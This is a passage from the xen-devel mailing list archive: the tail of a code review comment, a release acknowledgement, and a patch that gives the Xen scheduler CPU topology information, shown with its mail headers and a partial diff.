> though there are none today). If we replace the `if` with an `ASSERT()` 
> now, anyone introducing a Xen-owned, statically allocated interrupt in 
> the future would simply have to revert the change and restore the `if` 
> statement, bringing us back to the current implementation.

... such a change was made. Imo you have two choices: Deal with the issue
properly right away, keeping the if(). Or assume "free_on_release" is only
ever true, and add an assertion to this effect (indicating that code needs
auditing if that assumption is broken).

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 07:58:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 07:58:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352940.1609201 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfYmn-0001Cn-PI; Fri, 03 Jul 2026 07:58:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352940.1609201; Fri, 03 Jul 2026 07:58:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfYmn-0001Cg-ML; Fri, 03 Jul 2026 07:58:09 +0000
Received: by outflank-mailman (input) for mailman id 1352940;
 Fri, 03 Jul 2026 07:58:08 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfYmm-0001Ca-Bv
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 07:58:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfYml-00AaF8-Os
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:58:07 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a476b8f-2eae-0a2a0a5409dd-0a2a4507e994-0
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 09:58:07 +0200
Received: from [209.85.208.178] (helo=mail-lj1-f178.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a476b8e-9c8e-0a2a45070019-d155d0b2cc3c-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 09:58:06 +0200
Received: by mail-lj1-f178.google.com with SMTP id
 38308e7fff4ca-39afb0d9f7eso3011291fa.0
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 00:58:06 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5aed13c4acdsm283255e87.76.2026.07.03.00.58.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 03 Jul 2026 00:58:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783065486; x=1783670286; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=WLuTWbOCGUpepJm0WQVVJLBtO432gPwRh4dR2sQxfh4=;
        b=CENsmDGGll90igdUxHbTvLyphvTVYxVgFspOwRlVaaUcB/A21kuWj5JebxfJPfpUYh
         dxQ9Mj6mv19bN0/g0pQ8osWT6bxtmESsYqNrMa2Ud7xg1Eoq4t3vK/wOjIho36k936kt
         Hc1+/Me8S3vEp+iAYN655chCA5xR024R3P5ZV02ERXt0H7g+a5faDLKG+EWLGgAnpaW9
         jq1ixsokN57dZvrTG28Vqsm10BEQNfBH1XA3DVS4uA6NVFhWTqR2AUnU3S8iqxOEN7tA
         zq5TMBmTVJS9Fu1IocYcy5NpkmT/GA4KBwgGsukRfLWVbbVvJB0I9jRS7k2yvvYxcUjP
         nhZw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783065486; x=1783670286;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=WLuTWbOCGUpepJm0WQVVJLBtO432gPwRh4dR2sQxfh4=;
        b=hPC7sq+WMcdeUeMdp11qBbnIJ5qZyK1NTaBXNinCpJ00wnkdqjr9PGBI4WI/8h4Lbv
         0y5xLFfcg/tsDAopXEVSRhVPR0uXJCO0Lu6yA4a+tywez8uQe5eBRfaEp0rXIEfALvQ/
         IzvyA7K5bRo3acwAvCqXqHP7Zn7zefey1rNDL4gKEZo3GDMLdSjDWEc4EPhz78d15Akz
         u0/71m0h0gewluDBUM8geRzr6dSR8g8SSNuOXrcu4yh5mtAKwScJXty/JjBU06cLMonb
         hX1nX8HhvwUb0VqjQqcKsndNrJwgc1o6nZzPQqDYfgOgoyigBSMWsG1eUWzq7RbWDPdn
         nAww==
X-Forwarded-Encrypted: i=1; AHgh+RpOWPc8IVVJUUIHeyIBF6FMSD1x0r8kDJtHe46rXdVJvH43DUy97ZKkvh538XtavjpBmT+VIk26IY8=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw8JpgUWn8Iweo1G4cdQg95HfWnmYHXuwi1/CcJHKs/naDRUT8y
	IhrdKmNRgYjK292m7YvE78lnxzcO/60Ii60l9HgghWKQRlK+/KlH4MDu
X-Gm-Gg: AfdE7cnY/tIJrSUpajVbuhxsbcpSTU0DDXpmYjPEe27NK4o18SFVM6NZsg+af2GOFcj
	LsCd4SJXhlxNmIhP3hDsS4em4WqVF1znNVEoN2PAy9Dqtxv7iBEVhkEZQqxDmNpBxXeFVnD3ikq
	H0cwL+V3i8RZ4lmUFgRY3wbQf49rCQQGVDJrb1GX8t+yiaAFja/NNs5MnpNTQT/n7aqs1b9FBJd
	jXsfkUH01QeqhWgL70tIBA1gYzQ8aa+T/T/vBpueYEFd50yna2yrzj9haw5ElmSRwY06HsjhIdV
	Y7JEG8+rXwbXyTewCE0YGLk22RDV6qa/xTRKo8pjWz2atwfc2LSi+B0YQoX9D8Y4kZeVUrzXPNQ
	EDlWvqDVbXzSxRGhcSp07q51S9R/x3C7CVml6qDuPvhzHVfqVCAECw54sIa1SNv6RxVa6b0yaam
	kqtIqih+jSPNtDdFNZP0HWYlbna8Pzb+V++g766oUAvKFzjKxEtGzjnixWj8uM4VA9W5E=
X-Received: by 2002:a05:6512:138e:b0:5ae:bcf6:b07c with SMTP id 2adb3069b0e04-5aec6795a7fmr2066254e87.4.1783065485964;
        Fri, 03 Jul 2026 00:58:05 -0700 (PDT)
Message-ID: <5a4024d7-370a-4519-9191-42c64c614847@gmail.com>
Date: Fri, 3 Jul 2026 09:58:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783065486-7F53025E-1AEC714D/10/73395122804
X-purgate-type: spam
X-purgate-size: 694



On 7/3/26 8:26 AM, Jan Beulich wrote:
> In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
> needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
> that towards the end of identify_cpu(). Then make sure .x86_capability[]
> and host policy remain in sync when setup_{force,clear}_cpu_cap() are
> used.
> 
> Rename the function now it's no longer static.
> 
> Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
> Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 09:16:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 09:16:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353029.1609228 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa07-0004cI-8y; Fri, 03 Jul 2026 09:15:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353029.1609228; Fri, 03 Jul 2026 09:15:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa07-0004cA-4o; Fri, 03 Jul 2026 09:15:59 +0000
Received: by outflank-mailman (input) for mailman id 1353029;
 Fri, 03 Jul 2026 09:15:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wfa05-0004CO-EJ
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:15:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfa04-00GN2P-RH
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:15:56 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-2eae-0a2a0a5409dd-0a2a450ace40-18
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:56 +0200
Received: from [52.101.125.115]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-e40e-0a2a450a0019-34657d733221-5
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:56 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY3P286MB3731.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:3d3::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 3 Jul
 2026 09:15:51 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.009; Fri, 3 Jul 2026
 09:15:51 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=aLQf9NjWFAp0sgYXR18wZlVg/+WBL1XhhzCuFFSa2YTAVJVYMICZeO4I6K35UUMjbt4mrsy2qDe77Rp7m3Bf51boIW8Fqd32UyQKDZT9VVTwGakSK/03W0/S1CtkgGubAoEkvF4iguTzp86j8flI23e2jRRSTlbqufDERIW0RjQrHjTdSgyt9Jj6I9OdnKectMb1ryXKLwPd91LaELnLiwLsBQNwHc1wnLf4APmc6pLCllN5dZmLLEHvJ4ffHWTXaJQdiuRjrud9uBbUOZChgXf/aOYsIW9ZdEtaIosZab0Z+cjXzpKhBoP7y0ZHoKi5yJRGZZ+SZ1M/dnMvvACc6w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=+YHhlMJ0BRCDYFFnZBlOKPtPhGxi/edvzDAP34FGr24=;
 b=NsYvwOpSjf9vS+JCTcngE8sLnQkwc7UojEJkKIjDO34iNzeF0T/M9FoTWJao+S4Ryt2hp9JOn6nC+fqeKu1Xc0P/TVBZ6YNm1eJPAN19MzJnPBypqydbUXRf4yHAmDQomnJJvTZBbFAoG2xwH0QVKKijGLKao8y4RIhiVMkNA0uu4LoncwPzIJo5/B2lggyvv2RIZ0SCA3gTNMOK0TtF9hyMgtHYmco4HeNpvVJd/widtHrwrcQZMmt4LgEhIw+eI3laLeHjFOMYxWmGKoyCbuh4trG6BJNmpp3q6DXrr/DsHgMZmvarpx0ySJG8CVWeYw4RrZ4KOltp0Y2YStyy2Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=+YHhlMJ0BRCDYFFnZBlOKPtPhGxi/edvzDAP34FGr24=;
 b=S73jlVwO/nBJ5kW3IUiFk+6QGyNfHhcIZ/W++QIYEJSl5S93Db6GcKl8kfTPW9b7/gcFaLXgGf2tuehwKxjAfFscOrHBeoI5dpMRQk+yjFQ/j9YBTkwknpfcur8Czt2V6aBzGWHv2u+CGxLaqlrW7A6SP0E9wnPfEGbBfxJG+bY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v4 2/3] xen/sched: Link CPU topology to scheduler
Date: Fri,  3 Jul 2026 18:15:43 +0900
Message-ID: <20260703091544.183548-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260703091544.183548-1-taka@valinux.co.jp>
References: <20260703091544.183548-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0066.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36a::19) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY3P286MB3731:EE_
X-MS-Office365-Filtering-Correlation-Id: 3bb621b4-27f9-4158-1e13-08ded8e3ad3b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|7416014|376014|10070799003|6133799003|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	nA6/Gz9DLhADgr6Uqb4vb8g/ivN7hfVWeBPFRkSrrFRqZXVc5mqcceZusHmkG4cOolrqdGuiFfa7GNDp9hiz8pNhdcJYw+Wnh9+21xBghhYswIM9/uIx0heSIM2QGSsryD/CJOz68YPojqRt5QQ7AeNF3KBQs2pob/tMLT4rBJ0ZFv4+FISDstVYbJHHU/8yGkDQzl1zK88EAhcETXYxS/bUHOJ4zUKp91wu6bWm5rS42JTETGQZ423dof71D9dBNMeIwz0B8j0pNNSya0lThgK0xgl88C2Q1WrbjCoQ8D5VjgaWaNVj9ACBf/RVqYeXatumWHFQaXywYir+dW3YY3yepjROTm5qyhhkh0QE26nHP1ApjN/OFtnE+SAgvMlVTc5IUNZu8QB2ObghrFu7SG14MELa6lNB1uDy5tMIMXMbRvSqZPhUL0/W+D/JcuzcHMEyyx4ot58qbSRF9Z87BTs/Ne1LO3z7Uwe/BvIAyV+ox3iSzHv/ILkN0oB73y05/k5hGm7bPWjCCT1eTBHjoziiTzqfUFCecNMlHE4VVhMnFV1RAItoavZ89Fxz5+Ex7Uxg79GW7qqfO6VrPEtElHLKYLf/2YW7sPsOtx46C2tpN0b2W+AHKMpd9ZHFpWWSjJvcDob0gLAqixKjWYeA7FQ18tEB0g/Lce4nMfKHevk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(7416014)(376014)(10070799003)(6133799003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?0D1BFx68aW6aVfbvesUXY8qnLYpTgYMqvDI/zjEIZblavbahj17IdISxMZR7?=
 =?us-ascii?Q?zJrAs2gOk4PmK9DR4nUSqu+IMi4DlqpVuMuHBpM0HXOkT9d2lcU2vHEGZRUQ?=
 =?us-ascii?Q?d4SN0SnmA3kM5rusKqnWzyLsAvX02v7NqRHTgMbXX0R68LYmokg/uOCQbR4R?=
 =?us-ascii?Q?fQs9HpuPaiwixb2V5otqNTlU6U12G3cMisPtHQwQJm1PUb4zog1lvLXmj5JD?=
 =?us-ascii?Q?X7j5rs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Ohls5dA4ryQlZV4xW7FbeFhYeAz80xki?=
 =?us-ascii?Q?8rIGA4uTrW39NQa4t4DmFq4Jmna2d/GYHieUmgsSqZx8UXSdoLAikCSY4Ztc?=
 =?us-ascii?Q?YwdM+HCCkU1TB7I8xT1FqYPrx/DcVSpAAzLkLiqpIHuP+BNBpJglG3hDnCrf?=
 =?us-ascii?Q?hAMJx1MEDHUmvo9AV/lmuYFgDIbWdDh6vL3wW/y376nkpAzUkTVdlrn8tEqz?=
 =?us-ascii?Q?6KDZkxMVi6u6wav7AuQKaueJHqBIZoNPaqUsjr7nezX6tjR8BB3E93nzB6hJ?=
 =?us-ascii?Q?SE7gGOmRM7rgn9mep++85z6tPBO0M43LZ+NsFgGPNyyAJxxDY6cK13CAhWbL?=
 =?us-ascii?Q?ndVgsZ+zMtirgXUCfAP3+GiO5wtwVtXug7sb1XN6jV8s8M78ySCLmO8XwcZq?=
 =?us-ascii?Q?A+vbBrSI+pRF1ed2arYnOua9VN+Dba7a68fixxed74upp3hYRYpiFXZ93vvo?=
 =?us-ascii?Q?QGa+8q/5vMFSuMZ1mRQk+RkFTyaWz2pX/hPt9SgNnlkZc3JnWDVcwJkxauZK?=
 =?us-ascii?Q?K4dfY3ixGKtGHG7VOKRHHaWNUowLPZ/5BedddCDiZ/wXhYcSQD1fbifDMPVz?=
 =?us-ascii?Q?nVQESFmozWbjobUJTG+fVy4SGYk72M71L1sH+FElPQNKITf5rfu2scGE75Gh?=
 =?us-ascii?Q?0JH6RDH2UUAhfHvIxIh8T046+0QVTQWjcOHaZH6+VlM/O2zzcZIOVLNuegeE?=
X-MS-Exchange-AntiSpam-MessageData-1: x9kPTIBldMY/0w==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 3bb621b4-27f9-4158-1e13-08ded8e3ad3b
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Jul 2026 09:15:51.0417
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: y4EaEG/NesYEwkb1Vgnv91kV8OexUC+y+UesgDFni0vdAPuYU6GhQjS/Gbe2ZmYjfX5m/3WzO/In61hqPvEQ2g==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY3P286MB3731
X-purgate-ID: tlsNG-4011c0/1783070156-D5D23DDE-8CB46B54/0/0
X-purgate-type: clean
X-purgate-size: 9565

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v4
 - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
   take precedence over the generic fallbacks.
 - Introduce inline initialization functions for cpu_sibling_mask and
   cpu_core_mask in cpu-topology.h, providing separate variants for both
   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.

Changes in v3
 - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
   from RISC-V and PPC processor.h.
 - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
   Elimination (DCE) where possible.

 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 51 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  3 ++
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 45 ++++++++++++++++++++++-
 9 files changed, 103 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index 5ce2bcf6ec..3c9f2a5c53 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index b653227ef4..43322a153f 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -330,6 +330,55 @@ int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+
+        /* Reuse the calculated core id if clustering is not supported */
+        if ( cpumask_empty(topo->cluster_sibling) )
+            topo->phys_cluster_id = topo->phys_core_id;
+        else
+        {
+            first_cpu = cpumask_first(topo->cluster_sibling);
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 void __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -342,6 +391,8 @@ void __init dt_init_cpu_topology(void)
 
     for_each_possible_cpu(cpu)
         setup_siblings_masks(cpu);
+
+    setup_cpu_topology_ids();
 }
 
 /*
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..ada430f262 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -37,6 +38,8 @@ static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
 #ifdef CONFIG_X86
     return cpu_data[cpu].x86_num_siblings;
+#elif defined(CONFIG_CPU_TOPOLOGY)
+    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
 #else
     return 1;
 #endif
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
